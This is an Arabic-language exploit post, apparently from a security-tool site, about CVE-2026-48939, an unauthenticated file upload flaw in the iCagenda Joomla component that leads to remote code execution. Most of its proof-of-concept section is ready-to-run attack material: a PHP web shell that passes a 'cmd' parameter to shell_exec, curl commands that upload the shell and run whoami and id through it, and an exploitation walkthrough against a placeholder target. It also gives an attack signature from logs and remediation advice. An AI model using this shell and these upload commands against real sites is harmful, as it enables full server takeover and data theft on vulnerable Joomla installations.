CVE-2026-48939 - رفع ملف غير مصادق عليه إلى RCE في iCagenda

نظرة عامة

وصف الثغرة

تحتوي iCagenda، وهي مكون شهير للأحداث والتقويم في Joomla، على ثغرة رفع ملف بدون مصادقة تسمح للمهاجمين عن بعد برفع وتنفيذ كود PHP عشوائي على مواقع Joomla 6.

التفاصيل التقنية

توجد الثغرة في ميزة إرفاق الملفات في نموذج تقديم الأحداث في الواجهة الأمامية:

1. عدم وجود التحكم في الوصول: نقطة نهاية الإرسال (index.php?option=com_icagenda&task=registration.submit) لا تفرض المصادقة، متجاوزة إعداد الوصول "المسجلون فقط".

2. لا يوجد التحقق من الملف: يتم حفظ الملفات المرفوعة بامتدادها الأصلي دون:

   • التحقق من القائمة المسموح بها للامتدادات
   • التحقق من نوع MIME
   • فحص محتوى الملف

3. الكتابة المباشرة للملف: يتم كتابة الملفات إلى /images/icagenda/frontend/attachments/[filename] مباشرة تحت جذر الويب.

4. تنفيذ PHP: على Joomla 6، تكون ملفات .php المرفوعة قابلة للتنفيذ، مما يؤدي إلى تنفيذ أوامر عن بعد (RCE).

إثبات المفهوم

الطريقة 1: استخدام curl (أمر واحد)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

الطريقة 2: استخدام سكربت PoC

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

خطوات الاستغلال

1. تحديد نقطة النهاية الضعيفة:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. رفع شيل ويب PHP:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. تنفيذ الشيل:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

التأثير

• السرية: فقدان كامل للسرية - يمكن للمهاجم قراءة جميع الملفات
• السلامة: فقدان كامل للسلامة - يمكن للمهاجم تعديل جميع البيانات
• التوفر: فقدان كامل للتوفر - يمكن للمهاجم تعطيل الخدمة
• تنفيذ أوامر عن بعد (RCE): اختراق كامل للخادم

توقيع الهجوم

بناءً على سجلات الاستغلال الواقعية، فإن توقيع الهجوم هو:

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

الإصلاح

1. فوري: تحديث iCagenda إلى الإصدار 4.0.8 (أو 3.9.15 للفرع القديم)
2. بديل: إزالة أو إعادة تسمية مجلدات com_icagenda مؤقتًا
3. ملاحظة: إلغاء نشر المكون لا يحمي من هذه الثغرة

المراجع

• iCagenda Zero Day RCE - mysites.guru
• iCagenda Official
• Changelog 4.0.8
• CISA ADP Advisory

إخلاء مسؤولية

إثبات المفهوم هذا هو لأغراض تعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.